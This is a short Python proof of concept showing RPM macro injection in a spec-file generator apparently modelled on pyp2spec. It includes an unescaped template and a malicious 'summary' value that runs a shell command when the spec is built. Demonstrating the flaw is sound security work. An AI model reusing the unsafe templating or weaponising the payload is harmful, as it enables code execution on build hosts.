Vulnerable code sample

import sys

def generate_vulnerable_spec(package_metadata):
    """
    This function represents the vulnerable logic of pyp2spec.
    It directly injects metadata into a template without escaping.
    """
    spec_template = """Name:           python-{name}
Version:        {version}
Release:        1%{?dist}
Summary:        {summary}
License:        {license}

%description
This is a spec file generated for {name}.

%prep
%setup -q

%build
%py3_build

%install
%py3_install

%files
# The files would be listed here
"""
    # The vulnerability is here: direct, unescaped string formatting.
    # A malicious 'summary' field containing an RPM macro will be
    # embedded directly into the output.
    spec_content = spec_template.format(
        name=package_metadata.get("name"),
        version=package_metadata.get("version"),
        summary=package_metadata.get("summary"),
        license=package_metadata.get("license"),
    )
    return spec_content

# 1. Simulate malicious metadata from a compromised PyPI project.
# The 'summary' field contains an RPM macro that executes a shell command.
malicious_metadata = {
    'name': 'malicious-package',
    'version': '1.0.0',
    'summary': 'A helpful library. %{expand:%%(touch /tmp/pwned)}',
    'license': 'MIT',
}

# 2. Run the vulnerable generator function.
vulnerable_output = generate_vulnerable_spec(malicious_metadata)

# 3. Write the output to a file. In a real attack, a user would
# then run `rpmbuild -ba malicious.spec`, triggering the command execution.
with open("malicious.spec", "w") as f:
    f.write(vulnerable_output)